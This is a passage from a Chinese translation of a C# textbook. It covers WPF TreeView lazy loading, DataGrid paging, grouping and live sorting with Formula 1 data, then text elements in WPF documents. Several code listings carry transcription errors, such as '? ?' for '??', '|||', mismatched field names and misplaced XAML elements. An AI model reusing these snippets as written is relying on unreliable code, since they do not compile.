下面是填充分层控件的代码。在XAML代码的代码隐藏文件中,把DataContext赋予 Years属性。Years属性使用一个GetYears辅助方法中定义的LINQ查询,来获取数据库中所 有一级方程式比赛的年份,并为每个年份新建一个Championship对象。通过Championship 类的实例设置Year属性。这个类也有一个Races属性,可返回该年份的比赛信息,但这些 信息还没有填充(代码文件Formula1Demo/TreeUC.xaml.cs)。  注意: LINQ参见第13章和第38章。 using System.Collections.Generic; using System.Linq; using System.Windows.Controls; namespace Formula1Demo { public partial class TreeUC : UserControl { public TreeUC() { InitializeComponent(); this.DataContext = Years; } private List<Championship> _years; private List<Championship> GetYears() { using (var data = new Formula1Context()) { return data.Races.Select(r => new Championship { Year = r.Date.Year }).Distinct().OrderBy(c => c.Year).ToList(); } } public IEnumerable<Championship> Years => _years ? ? (_years = GetYears() ); } } Championship类有一个用于返回年份的简单的自动属性。Races属性的类型是 Lazy<IEnumerable<F1Race>>。Lazy<T>类是.NET 4新增的,用于懒惰初始化。对于 TreeView控件,这个类非常方便。如果表达式树中的数据非常多,且不希望提前加载整个 表达式树,但仅在用户做出选择时加载,就可以使用懒惰加载方式。在Lazy<T>类的构造 函数中使用Func<IEnumerable<F1Race>>委托。在这个委托中,需要返回 IEnumerable<F1Race>。赋予该委托的lambda表达式的实现方式使用一个LINQ查询,来创 建一个F1Race对象列表,并指定它们的Date和Country属性(代码文件 Formula1Demo/Championship.cs): public class Championship { public int Year { get; set; } private IEnumerable<F1Race> GetRaces() { using (var context = new Formula1Context()) { return (from r in context.Races where r.Date.Year == Year orderby r.Date select new F1Race { Date = r.Date, Country = r.Circuit.Country }).ToList(); } } public Lazy<IEnumerable<F1Race>> Races => new Lazy<IEnumerable<F1Race>>(() => GetRaces()); } F1Race类也定义了Results属性,该属性使用Lazy<T>类型返回一个F1RaceResult对象 列表(代码文件Formula1Demo/Championship.cs): public class F1Race { public string Country { get; set; } public DateTime Date { get; set; } private IEnumerable<F1RaceResult> GetResults() { using (var context = new Formula1Context()) { return (from rr in context.RaceResults where rr.Race.Date == this.Date select new F1RaceResult { Position = rr.Position, Racer = rr.Racer.FirstName + " " + rr.Racer.LastName, Car = rr.Team.Name }).ToList(); } } public Lazy<IEnumerable<F1RaceResult>> Results => new Lazy<IEnumerable<F1RaceResult>>(() => GetResults()); } 层次结构中的最后一个类是F1RaceResult,它是Position、Racer和Car的简单数据存储 器(代码文件Formula1Demo/Championship.cs): public class F1RaceResult { public int Position { get; set; } public string Racer { get; set; } public string Car { get; set; } } 运行应用程序,首先会在树型视图中看到所有年份的冠军。因为使用了绑定,所以也 访问了下一层——每个Championship对象已经关联到F1Race对象。用户不需要等待,就可 以看到年份下面的第一级,也不需要使用默认显示的小三角形来打开某个年份的信息。图 34-27打开了1984年的信息。只要用户单击某个年份,就会看到第二级绑定,第三级也绑 定了,并检索出比赛结果。 图34-27 当然也可以定制TreeView控件,并为整个模板或视图中的项定义不同的样式。 34.9 DataGrid 通过DataGrid控件,可以把信息显示在行和列中,还可以编辑它们。DataGrid控件是 一个ItemsControl,定义了绑定到集合上的ItemsSource属性。这个用户界面的XAML代码 也定义了两个RepeatButton控件,用于实现分页功能。这里不是一次加载所有比赛信息, 而是使用分页功能,这样用户就可以翻看各个页面。在简单的场景中,只需要指定 DataGrid的ItemsSource属性。默认情况下,DataGrid会根据绑定数据的属性来创建列(代 码文件Formula1Demo/Controls/GridUC.xaml): <UserControl x:Class="Formula1Demo.Controls.GridUC" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:d="http://schemas.microsoft.com/expression/blend/2008" mc:Ignorable="d" d:DesignHeight="300" d:DesignWidth="300"> <Grid> <Grid.RowDefinitions> <RepeatButton Margin="5" Click="OnPrevious">Previous</RepeatButton> <RepeatButton Margin="5" Click="OnNext">Next</RepeatButton> </Grid.RowDefinitions> <StackPanel Orientation="Horizontal" Grid.Row="0"> <Button Click="OnPrevious">Previous</Button> <Button Click="OnNext">Next</Button> </StackPanel> <DataGrid Grid.Row="1" ItemsSource="{Binding}" /> </Grid> </UserControl> 代码隐藏使用与前面TreeView示例相同的Formula1数据库。把UserControl的 DataContext设置为Races属性。这个属性返回IEnumerable<object>。这里不指定强类型化 的枚举,而使用一个object,以通过LINQ查询创建一个匿名类。该LINQ查询使用Year、 Country、Position、Racer和Car属性创建匿名类,并使用复合语句访问Races和RaceResults 属性。它还访问Races的其他关联属性,以获取国籍、赛手和团队信息。使用Skip()和 Take()方法实现分页功能。页面的大小固定为50项,当前页面使用OnNext和OnPrevious 处理程序来改变(代码文件Formula1Demo/Controls/GridUC.xaml.cs): using System.Collections.Generic; using System.Linq; using System.Windows; using System.Windows.Controls; namespace Formula1Demo { public partial class GridUC : UserControl { private int _currentPage = 0; private int _pageSize = 50; public GridUC() { InitializeComponent(); this.DataContext = Races; } private IEnumerable<object> GetRaces() { using (var data = new Formula1Context()) { return (from r in data.Races from rr in r.RaceResults orderby r.Date ascending select new { r.Date.Year, r.Circuit.Country, rr.Position, Racer = rr.Racer.FirstName + " " + rr.Racer.LastName, Car = rr.Team.Name }).Skip(_currentPage * _pageSize).Take(_pageSize).ToList(); } } public IEnumerable<object> Races => GetRaces(); private void OnPrevious(object sender, RoutedEventArgs e) { if (_currentPage > 0) { _currentPage--; this.DataContext = Races; } } private void OnNext(object sender, RoutedEventArgs e) { _currentPage++; this.DataContext = Races; } } } 图34-28显示了正在运行的应用程序,其中使用了默认的网格样式和标题。 图34-28 在下一个DataGrid示例中,用自定义列和组合来定制网格。 34.9.1 自定义列 把DataGrid的AutoGenerateColumns属性设置为False,就不会生成默认的列。使用 Columns属性可以创建自定义列。还可以指定派生自DataGridColumn的元素,也可以使用 预定义的类。DataGridTextColumn可以用于读取和编辑文本。DataGridHyperlinkColumn可 显示超链接。DataGrid-CheckBoxColumn可给布尔数据显示复选框。如果某列有一个项列 表,就可以使用DataGridCombo-BoxColumn。将来会有更多的DataGridColumn类型,但如 果现在就需要其他表示方式,可以使用DataGridTempalteColumn定义并绑定任意需要的元 素。 下面的示例代码使用DataGridTextColumn来绑定到Position和Racer属性。把Header属 性设置为要显示的字符串,当然也可以使用模板给列定义完全自定义的标题(代码文件 Formula1Demo/Controls/GridCustomUC.xaml.cs): <DataGrid ItemsSource="{Binding}" AutoGenerateColumns="False"> <DataGrid.Columns> <DataGridTextColumn Binding="{Binding Position, Mode=OneWay}" Header="Position" /> <DataGridTextColumn Binding="{Binding Racer, Mode=OneWay}" Header="Racer" /> </DataGrid.Columns> 34.9.2 行的细节 选择一行时,DataGrid可以显示该行的其他信息。为此,需要指定DataGrid的 RowDetailsTemplate。把一个DataTemplate赋予这个RowDetailsTemplate,其中包含几个显 示汽车和赛点的TextBlock元素(代码文件 Formula1Demo/Controls/GridCustomUC.xaml): <DataGrid.RowDetailsTemplate> <DataTemplate> <StackPanel Orientation="Horizontal"> <TextBlock Text="Car:" Margin="5,0,0,0" /> <TextBlock Text="{Binding Car}" Margin="5,0,0,0" /> <TextBlock Text="Points:" Margin="5,0,0,0" /> <TextBlock Text="{Binding Points}" /> </StackPanel> </DataTemplate> </DataGrid.RowDetailsTemplate> 34.9.3 用DataGrid进行分组 一级方程式比赛有几行包含相同的信息,如年份和国籍。对于这类数据,可以使用分 组功能,给用户组织信息。 对于分组功能,可以在XAML代码中使用CollectionViewSource来支持分组、排序和 筛选功能。在代码隐藏中,也可以使用ListCollectionView类,它仅由CollectionViewSource 使用。 CollectionViewSource在Resources集合中定义。CollectionViewSource的源是 ObjectDataProvider的结果。ObjectDataProvider调用F1Races类型的GetRaces()方法。这 个方法有两个int参数,它们从MethodParameters集合中指定。CollectionViewSource给分组 使用了两个描述,分别用于Year属性和Country属性(代码文件 Formula1Demo/Controls/GridGroupingUC.xaml): <Grid.Resources> <ObjectDataProvider x:Key="races" ObjectType="{x:Type local:F1Races}" MethodName="GetRaces"> <ObjectDataProvider.MethodParameters> <sys:Int32>0</sys:Int32> <sys:Int32>20</sys:Int32> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> <CollectionViewSource x:Key="viewSource" Source="{StaticResource races}"> <CollectionViewSource.GroupDescriptions> <PropertyGroupDescription PropertyName="Year" /> <PropertyGroupDescription PropertyName="Country" /> </CollectionViewSource.GroupDescriptions> </CollectionViewSource> </Grid.Resources> 这里显示的组使用DataGrid的GroupStyle属性定义。对于GroupStyle元素,需要自定义 ContainerStyle、HeaderTemplate和整个面板。为了动态选择GroupStyle和HeaderStyle,还 可以编写一个容器样式选择器和一个标题模板选择器。它们的功能非常类似于前面的数据 模板选择器。 示例中的GroupStyle设置了GroupStyle的ContainerStyle属性。在这个样式中,用模板 定制GroupItem。使用分组功能时,GroupItem显示为组的根元素。在组中使用Name属性 显示名字,使用ItemCount属性显示项数。Grid的第3列使用ItemPresenter包含所有正常的 项。如果行按国籍分组,Name属性的标签就会有不同的宽度,这看起来不太好。因此, 使用Grid的第二列设置SharedSizeGroup属性,使所有的项有相同的大小。还需要设置共享 的尺寸范围,使所有的元素有相同的大小,为此在DataGrid中设置 Grid.IsSharedSizeScope="True"。 <DataGrid.GroupStyle> <GroupStyle> <GroupStyle.ContainerStyle> <Style TargetType="{x:Type GroupItem}"> <Setter Property="Template"> <Setter.Value> <ControlTemplate > <StackPanel Orientation="Horizontal" > <Grid> <Grid.ColumnDefinitions> <ColumnDefinition SharedSizeGroup="LeftColumn" /> <ColumnDefinition /> <ColumnDefinition /> </Grid.ColumnDefinitions> <Label Grid.Column="0" Background="Yellow" Content="{Binding Name}" /> <Label Grid.Column="1" Content="{Binding ItemCount}" /> <Grid Grid.Column="2" HorizontalAlignment="Center" VerticalAlignment="Center"> <ItemsPresenter/> </Grid> </Grid> </StackPanel> </ControlTemplate> </Setter.Value> </Setter> </Style> </GroupStyle.ContainerStyle> </GroupStyle> </DataGrid.GroupStyle> ObjectDataProvider使用了类F1Races, F1Races使用LINQ访问Formula1数据库,并返回 一个匿名类型列表,以及Year、Country、Position、Racer、Car和Points属性。这里再次使 用Skip()和Take()方法访问部分数据(代码文件Formula1Demo/F1Races.cs): using System.Collections.Generic; using System.Linq; namespace Formula1Demo { public class F1Races { private int _lastpageSearched = -1; private IEnumerable<object> _cache = null; public IEnumerable<object> GetRaces(int page, int pageSize) { using (var data = new Formula1Context()) { if (_lastpageSearched == page) return _cache; _lastpageSearched = page; var q = (from r in data.Races from rr in r.RaceResults orderby r.Date ascending select new { Year = r.Date.Year, Country = r.Circuit.Country, Position = rr.Position, Racer = rr.Racer.FirstName + " " + rr.Racer.LastName, Car = rr.Team.Name, Points = rr.Points }).Skip(page * pageSize).Take(pageSize); _cache = q.ToList(); return _cache; } } } } 现在只需要为用户设置页码,修改ObjectDataProvider的参数。在用户界面中,定义一 个文本框和一个按钮(代码文件Formula1Demo/Controls/GridGroupingUC.xaml): <StackPanel Orientation="Horizontal" Grid.Row="0"> <TextBlock Margin="5" Padding="4" VerticalAlignment="Center"> Page: </TextBlock> <TextBox Margin="5" Padding="4" VerticalAlignment="Center" x:Name="textPageNumber" Text="0" /> <Button Click="OnGetPage">Get Page</Button> </StackPanel> 在代码隐藏中,按钮的OnGetPage处理程序访问ObjectDataProvider,并修改方法的第 一个参数。接着调用Refresh()方法,以便ObjectDataProvider请求新页面(代码文件 Formula1Demo/Grid-GroupingUC.xaml. cs): private void OnGetPage(object sender, RoutedEventArgs e) { int page = int.Parse(textPageNumber.Text); var odp = (sender as FrameworkElement).FindResource("races") as ObjectDataProvider; odp.MethodParameters[0] = page; odp.Refresh(); } 运行应用程序,就会看到分组和行的细节信息,如图34-29所示。 图34-29 34.9.4 实时成型 WPF 4.5的一个新功能是实时成型。前面介绍了集合视图源及其对排序、过滤和分组 的支持。但是,如果因为排序、过滤和分组返回不同的结果,而使集合随时间变化, CollectionViewSource就没有什么帮助了。对于实时成型功能,应使用新接口 ICollectionViewLiveShaping。这个接口定义了属性CanChangeLiveFiltering、 CanChangeLiveGrouping和CanChangeLiveSorting,用于检查数据源能否使用实时成型功 能。属性IsLiveFiltering、IsLiveGrouping和IsLiveSorting启用实时成型功能(如果可用)。 有了LiveFilteringProperties、LiveGroupingProperties和LiveSortingProperties,就可以定义源 中可用于实时过滤、分组和排序的属性。 示例应用程序展示了一级方程式比赛的结果(这次是2012年巴塞罗那的比赛)如何变 化。 赛手用Racer类表示,这个类型只有简单的属性Name、Team和Number,这些属性使 用自动属性来实现,因为这个类型的值不会在应用程序运行期间改变(代码文件 LiveShaping/Racer.cs): public class Racer { public string Name { get; set; } public string Team { get; set; } public int Number { get; set; } public override string ToString() => Name; } 类Formula1返回所有参加2012年巴塞罗那比赛的赛手(代码文件 LiveShaping/Formula1.cs): public class Formula1 { private List<Racer> _racers; public IEnumerable<Racer> Racers => _racers ? ? (_racers = GetRacers()); private List<Racer> GetRacers() { return new List<Racer>() { new Racer { Name="Sebastian Vettel", Team="Red Bull Racing", Number=1 } , new Racer { Name="Mark Webber", Team="Red Bull Racing", Number=2 }, new Racer { Name="Jenson Button", Team="McLaren", Number=3 }, new Racer { Name="Lewis Hamilton", Team="McLaren", Number=4 }, new Racer { Name="Fernando Alonso", Team="Ferrari", Number=5 }, new Racer { Name="Felipe Massa", Team="Ferrari", Number=6 }, new Racer { Name="Michael Schumacher", Team="Mercedes", Number=7 }, new Racer { Name="Nico Rosberg", Team="Mercedes", Number=8 }, new Racer { Name="Kimi Raikkonen", Team="Lotus", Number=9 }, new Racer { Name="Romain Grosjean", Team="Lotus", Number=10 }, new Racer { Name="Paul di Resta", Team="Force India", Number=11 }, new Racer { Name="Nico H¨¹lkenberg", Team="Force India", Number=12 }, new Racer { Name="Kamui Kobayashi", Team="Sauber", Number=14 }, new Racer { Name="Sergio Perez", Team="Sauber", Number=15 }, new Racer { Name="Daniel Riccardio", Team="Toro Rosso", Number=16 }, new Racer { Name="Jean-Eric Vergne", Team="Toro Rosso", Number=17 }, new Racer { Name="Pastor Maldonado", Team="Williams", Number=18 }, //... more racers in the source code download }; } } 现在这个示例就更有趣了。LapRacerInfo类是在DataGrid控件中显示的类型,这个类 派生于基类BindableObject,获得了如前所述的INotifyPropertyChanged的实现代码。属性 Lap、Position和PositionChange随时间而变化。Lap给出了赛车当前已跑过的圈数,Position 提供了赛车在特定圈时的位置,PositionChange给出了赛车在当前圈数与前一圈的位置变 化信息。如果赛车的位置没有变化,状态就是None,如果赛车的位置比上一圈低,状态 就是Up,如果赛车的位置比上一圈高,状态就是Down,如果赛手退出了比赛, PositionChange就是Out。这些信息可以在UI中用于不同的表示(代码文件 LiveShaping/LapRacerInfo.cs): public enum PositionChange { None, Up, Down, Out } public class LapRacerInfo : BindableObject { public Racer Racer { get; set; } private int _lap; public int Lap { get { return _lap; } set { SetProperty(ref _lap, value); } } private int _position; public int Position { get { return _position; } set { SetProperty(ref _position, value); } } private PositionChange _positionChange; public PositionChange PositionChange { get { return _positionChange; } set { SetProperty(ref _positionChange, value); } } } 类LapChart包含所有圈和赛手的信息。这个类可以改为访问一个实时Web服务,来检 索这些信息,然后应用程序就可以显示当前比赛的实时结果。 方法SetLapInfoForStart创建LapRacerInfo项的初始列表,并在网格position上填充赛手 的位置。网格position是List<int>集合中添加到positions字典中的第一个数字。接着每次调 用NextLap方法时,lapInfo集合中的项都会改为一个新位置,并设置PositionChange状态信 息(代码文件LiveShaping/LapChar.cs): public class LapChart { private Formula1 _f1 = new Formula1(); private List<LapRacerInfo> _lapInfo; private int _currentLap = 0; private const int PostionOut = 999; private int _maxLaps; public LapChart() { FillPositions(); SetLapInfoForStart(); } private Dictionary<int, List<int>> _positions = new Dictionary<int, List<int>>(); private void FillPositions() { _positions.Add(18, new List<int> { 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 3, 3, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 }); _positions.Add(5, new List<int> { 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 3, 1 , 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 }); _positions.Add(10, new List<int> { 3, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 9, 7, 6, 6, 5, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4 }); // more position information with the code download _maxLaps = positions.Select(p => p.Value.Count).Max() - 1; } private void SetLapInfoForStart() { _lapInfo = _positions.Select(x => new LapRacerInfo { Racer = _f1.Racers.Where(r => r.Number == x.Key).Single(), Lap = 0, Position = x.Value.First(), PositionChange = PositionChange.None }).ToList(); } public IEnumerable<LapRacerInfo> GetLapInfo() => lapInfo; public bool NextLap() { _currentLap++; if (_currentLap > _maxLaps) return false; foreach (var info in _lapInfo) { int lastPosition = info.Position; var racerInfo = _positions.Where(x => x.Key == info.Racer.Number) .Single(); if (racerInfo.Value.Count > _currentLap) { info.Position = racerInfo.Value[currentLap]; } else { info.Position = lastPosition; } info.PositionChange = GetPositionChange(lastPosition, info.Position); info.Lap = currentLap; } return true; } private PositionChange GetPositionChange(int oldPosition, int newPosition ) { if (oldPosition == PositionOut ||| newPosition == PositionOut) return PositionChange.Out; else if (oldPosition == newPosition) return PositionChange.None; else if (oldPosition < newPosition) return PositionChange.Down; else return PositionChange.Up; } } 在主窗口中指定DataGrid,其中包含一些DataGridTextColumn元素,这些元素绑定到 LapRacerInfo类的属性上,LapRacerInfo类是从前面所示的集合中返回的。DataTrigger元素 根据赛手的位置与上一圈相比是提高了还是落后了,使用PositionChange属性的枚举值, 给行定义不同的背景色(代码文件LiveShaping/MainWindow.xaml): <DataGrid IsReadOnly="True" ItemsSource="{Binding}" DataContext="{StaticResource cvs}" AutoGenerateColumns="False"> <DataGrid.CellStyle> <Style TargetType="DataGridCell"> <Style.Triggers> <Trigger Property="IsSelected" Value="True"> <Setter Property="Background" Value="{x:Null}" /> <Setter Property="BorderBrush" Value="{x:Null}" /> </Trigger> </Style.Triggers> </Style> </DataGrid.CellStyle> <DataGrid.RowStyle> <Style TargetType="DataGridRow"> <Style.Triggers> <Trigger Property="IsSelected" Value="True"> <Setter Property="Background" Value="{x:Null}" /> <Setter Property="BorderBrush" Value="{x:Null}" /> </Trigger> <DataTrigger Binding="{Binding PositionChange}" Value="None"> <Setter Property="Background" Value="LightGray" /> </DataTrigger> <DataTrigger Binding="{Binding PositionChange}" Value="Up"> <Setter Property="Background" Value="LightGreen" /> </DataTrigger> <DataTrigger Binding="{Binding PositionChange}" Value="Down"> <Setter Property="Background" Value="Yellow" /> </DataTrigger> <DataTrigger Binding="{Binding PositionChange}" Value="Out"> <Setter Property="Background" Value="Red" /> </DataTrigger> </Style.Triggers> </Style> </DataGrid.RowStyle> <DataGrid.Columns> <DataGridTextColumn Binding="{Binding Position}" /> <DataGridTextColumn Binding="{Binding Racer.Number}" /> <DataGridTextColumn Binding="{Binding Racer.Name}" /> <DataGridTextColumn Binding="{Binding Racer.Team}" /> <DataGridTextColumn Binding="{Binding Lap}" /> </DataGrid.Columns> </DataGrid> 用DataGrid控件指定的数据上下文在带有CollectionViewSource的窗口资源中找到。该 集合视图源绑定到后面用后台代码指定的数据上下文上。这里设置的重要属性是 IsLiveSortingRequested,其值设置为true,会改变元素在用户界面上的顺序。用于排序的 属性是Position。位置变化时,项会实时重排序: <Window.Resources> <CollectionViewSource x:Key="cvs" Source="{Binding}" IsLiveSortingRequested="True"> <CollectionViewSource.SortDescriptions> <scm:SortDescription PropertyName="Position" /> </CollectionViewSource.SortDescriptions> </CollectionViewSource> </Window.Resources> 现在,只需要进入后台源代码中,找到设置数据上下文、动态改变实时值的代码段。 在主窗口的构造函数中,DataContext属性设置为LapRacerInfo类型的初始集合。接着一个 后台任务每隔3秒调用一次NextLap方法,用新位置修改UI中的值。后台任务使用了一个 异步的lambda表达式。实现代码可以改为从Web服务中获得实时数据(代码文件 LiveShaping/MainWindow.xaml.cs): public partial class MainWindow : Window { private LapChart _lapChart = new LapChart(); public MainWindow() { InitializeComponent(); this.DataContext = _lapChart.GetLapInfo(); Task.Run(async () => { bool raceContinues = true; while (raceContinues) { await Task.Delay(3000); raceContinues = _lapChart.NextLap(); } }); } } 图34-30显示了赛手在第23圈时的应用程序,领头的赛手是开着法拉利的Fernando Alonso。 图34-30 34.10 小结 本章介绍了WPF中对于业务应用程序非常重要的一些功能。讨论了控件的层次结 构,以及布局控件的不同选项。在清晰而方便地与数据交互操作方面,WPF的数据绑定 功能前进了一大步。可以把.NET类的任意属性绑定到WPF元素的属性上。绑定模式定义 了绑定的方向。可以绑定.NET对象和列表,定义数据模板,从而通过数据模板为.NET类 创建默认的外观。 命令绑定可以把处理程序的代码映射到菜单和工具栏上。还可以用WPF进行复制和 粘贴,因为这个技术的命令处理程序已经包含在TextBox控件中。本章还介绍了其他WPF 功能,例如使用DataGrid、CollectionViewSource进行排序和分组,所有这些功能也可以通 过实时成型来完成。 下一章讨论WPF的另一个方面:处理文档。 第35章 用WPF创建文档 本章要点 ● 使用文本元素 ● 创建流文档 ● 创建固定的文档 ● 创建XPS文档 ● 打印文档 本章源代码下载地址(wrox.com): 打开网页http://www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可 下载本章源代码。本章代码分为以下几个主要的示例文件: ● 显示字体 ● 文本效果 ● 表 ● 流文档 ● 创建XPS ● 打印 35.1 简介 创建文档是WPF的一个主要部分。System.Windows.Documents名称空间支持创建流文 档和固定文档。这个名称空间包含的元素可以利用类似于Word的方式创建流文档,也可 以创建WYSIWYG(所见即所得)固定文档。 流文档面向屏幕读取;文档的内容根据窗口的大小来排列,如果窗口重置了大小,文 档的流就会改变。固定文档主要用于打印和面向页面的内容,其内容总是按照相同的方式 排列。 本章讨论如何创建、打印流文档和固定文档,并涵盖System.Windows.Documents、 System.Windows.Xps和System.IO.Packaging名称空间。 35.2 文本元素 要构建文档的内容,需要文档元素。这些元素的基类是TextElement。这个类定义了 字体设置、前景和背景,以及文本效果的常见属性。TextElement是Block类和Inline类的基 类,这两个类的功能在后面的几节中介绍。 35.2.1 字体 文本的一个重要方面是文本的外观,即字体。通过TextElement,可以用FontWeight、 FontStyle、FontStretch、FontSize和FontFamily属性指定字体。 ● FontWeight——预定义的FontWeight值由FontWeights类定义,这个类提供的值包括 UltraLight、Light、Medium、Normal、Bold、UltraBold和Heavy。 ● FontStyle——FontStyle的值由FontStyles类定义,可以是Normal、Italic和Oblique。 ● FontStretch——利用FontStretch可以指定字体相对于正常宽高比的拉伸程度。 FontStretch指定了预定义的拉伸率从50%(UltraCondensed)到200% (UltraExpanded)。在这个范围之间的预定义值是ExtraCondensed(62.5%)、 Condensed(75%)、SemiCondensed(87.5%)、Normal(100%)、 SemiExpanded(112.5%)、Expanded(125%)以及ExtraExpanded(150%)。 ● FontSize——FontSize是double类型,可以用于指定字体的大小,其单位与设备无 关,如英寸、厘米和点。 ● FontFamily——利用FontFamily可以定义首选字体系列的名称,如Arial或Times New Roman。使用这个属性可以指定一个字体系列名列表,这样,如果某个字体不可 用,就使用列表中的下一个字体(如果所选字体和备用字体都不可用,流文档就 使用默认的MessageFontFamily)。还可以从资源中引用字体系列,或者使用URI 引用服务器上的字体。对于固定的文档,不会出现字体不可用的情况,因为字体 是通过文档提供的。 为了了解不同字体的外观,下面的示例WPF应用程序包含一个列表框。该列表框为 列表中的每一项定义了一个ItemTemplate。这个模板使用4个TextBlock元素,这些元素的 FontFamily绑定到FontFamily对象的Source属性上。给不同的TextBlock元素设置 FontWeight和FontStyle(代码文件 DocumentsDemos/ShowFontsDemo/MainWindow.xaml): <ListBox ItemsSource="{Binding}"> <ListBox.ItemTemplate> <DataTemplate> <StackPanel Orientation="Horizontal" > <StackPanel.Resources> <Style TargetType="TextBlock"> <Setter Property="Margin" Value="3,0,3,0" /> <Setter Property="FontSize" Value="18" /> <Setter Property="FontFamily" Value="{Binding Source}" /> </Style> </StackPanel.Resources> <TextBlock Text="{Binding Path=Source}" /> <TextBlock FontStyle="Italic" Text="Italic" /> <TextBlock FontWeight="UltraBold" Text="UltraBold" /> <TextBlock FontWeight="UltraLight" Text="UltraLight" /> </StackPanel> </DataTemplate> </ListBox.ItemTemplate> </ListBox> 在代码隐藏中,数据上下文设置为System.Windows.Media.Font类的 SystemFontFamilies属性值,这会返回所有可用的字体(代码文件 DocumentsDemos/ShowFontsDemo/MainWindow.xaml.cs): public partial class ShowFontsWindow: Window { public ShowFontsWindow() { InitializeComponent(); this.DataContext = Fonts.SystemFontFamilies; } } 运行应用程序,会显示一个很长的列表,其中包含系统字体系列的斜体、黑体、 UltraBold和UltraLight样式,如图35-1所示。 图35-1 35.2.2 TextEffect 下面看看TextEffect,因为它也是所有文档元素共有的。TextEffect在名称空间 System.Windows.Media中定义,派生自基类Animatable,允许生成文本的动画效果。 TextEffect可以为裁剪区域、前景画笔和变换创建动画效果。利用PositionStart和 PositionCount属性可以指定在文本中应用动画的位置。 要应用文本效果,应设置Run元素的TextEffects属性。该属性内部指定的TextEffect元 素定义了前景和变换效果。对于前景,使用名为brush1的SolidColorBrush画笔,通过 ColorAnimation元素生成动画效果。转换使用名为scale1的ScaleTransformation,从两个 DoubleAnimation元素中制作动画效果(代码文件 DocumentsDemos/TextEffectsDemo/MainWindow.xaml)。 <TextBlock> <TextBlock.Triggers> <EventTrigger RoutedEvent="TextBlock.Loaded"> <BeginStoryboard> <Storyboard> <ColorAnimation AutoReverse="True" RepeatBehavior="Forever" From="Blue" To="Red" Duration="0:0:16" Storyboard.TargetName="brush1" Storyboard.TargetProperty="Color" /> <DoubleAnimation AutoReverse="True" RepeatBehavior="Forever" From="0.2" To="12" Duration="0:0:16" Storyboard.TargetName="scale1" Storyboard.TargetProperty="ScaleX" /> <DoubleAnimation AutoReverse="True" RepeatBehavior="Forever" From="0.2" To="12" Duration="0:0:16" Storyboard.TargetName="scale1" Storyboard.TargetProperty="ScaleY" /> </Storyboard> </BeginStoryboard> </EventTrigger> </TextBlock.Triggers> <Run FontFamily="Segoe UI"> cn|elements <Run.TextEffects> <TextEffect PositionStart="0" PositionCount="30"> <TextEffect.Foreground> <SolidColorBrush x:Name="brush1" Color="Blue" /> </TextEffect.Foreground> <TextEffect.Transform> <ScaleTransform x:Name="scale1" ScaleX="3" ScaleY="3" /> </TextEffect.Transform> </TextEffect> </Run.TextEffects> </Run> </TextBlock> 运行应用程序,会看到大小和颜色的变化,如图35-2和图35-3所示。 图35-2 图35-3 35.2.3 内联 所有内联流内容元素的基类都是Inline。可以在流文档的段落中使用Inline元素。因为 在段落中,Inline元素可以一个跟着一个,所以Inline类提供了PreviousInline和NextInline属 性,从一个元素导航到另一个元素,也可以使用SiblingNextInlines获取所有同级内联元素 的集合。 前面用于输出一些文本的Run元素是一个Inline元素,它可输出格式化或非格式化的文 本,还有许多其他的Inline元素。Run元素后的换行可以用LineBreak元素获得。 Span元素派生自Inline类,它允许组合Inline元素。在Span的内容中只能包含Inline元 素。含义明确的Bold、Hyperlink、Italic和Underline类都派生自Span,因此允许Inline元素 和其中的内容具有相同的功能,但对这些元素的操作不同。下面的XAML代码说明了 Bold、Italic、Underline和LineBreak的用法,如图35-4所示(代码文件 DocumentsDemos/FlowDocumentsDemo/FlowDocument1. xaml)。 <Paragraph FontWeight="Normal"> <Span> <Span>Normal</Span> <Bold>Bold</Bold> <Italic>Italic</Italic> <LineBreak /> <Underline>Underline</Underline> </Span> </Paragraph> 图35-4 AnchoredBlock是一个派生自Inline的抽象类,用于把Block元素锚定到流内容上。 Figure和Floater是派生自AnchoredBlock的具体类。因为这两个内联元素在涉及块时比较有 趣,所以本章后面讨论它们。  注意: 添加到解决方案的流文档需要使用Visual Studio属性窗口设置为Build Action ="Content"和Copy to Output Directory = "Copy if newer",让它们可放在可执行文 件所在的目录中。 另一个映射到UI元素上的Inline元素是InlineUIContainer,它在前面的章节使用过。 InlineUIContainer允许给文档添加所有的UIElement对象(如按钮)。下面的代码段给文档 添加了一个InlineUIContainer,其中包含组合框、单选按钮和文本框元素,结果如图35-5 所示(代码文件DocumentsDemos/FlowDocumentsDemo/FlowDocument2.xaml)。 <Paragraph TextAlignment="Center"> <Span FontSize="36"> <Italic>cn|elements</Italic> </Span> <LineBreak /> <LineBreak /> <InlineUIContainer> <Grid> <Grid.RowDefinitions> <RowDefinition /> <RowDefinition /> </Grid.RowDefinitions> <Grid.ColumnDefinitions> <ColumnDefinition /> <ColumnDefinition /> </Grid.ColumnDefinitions> <ComboBox Width="40" Margin="3" Grid.Row="0"> <ComboBoxItem Content="Filet Mignon" /> <ComboBoxItem Content="Rib Eye" /> <ComboBoxItem Content="Sirloin" /> </ComboBox> <StackPanel Grid.Row="0" Grid.RowSpan="2" Grid.Column="1"> <RadioButton Content="Raw" /> <RadioButton Content="Medium" /> <RadioButton Content="Well done" /> </StackPanel> <TextBox Grid.Row="1" Grid.Column="0" Width="140" /> </Grid> </InlineUIContainer> </Paragraph> 图35-5 35.2.4 块 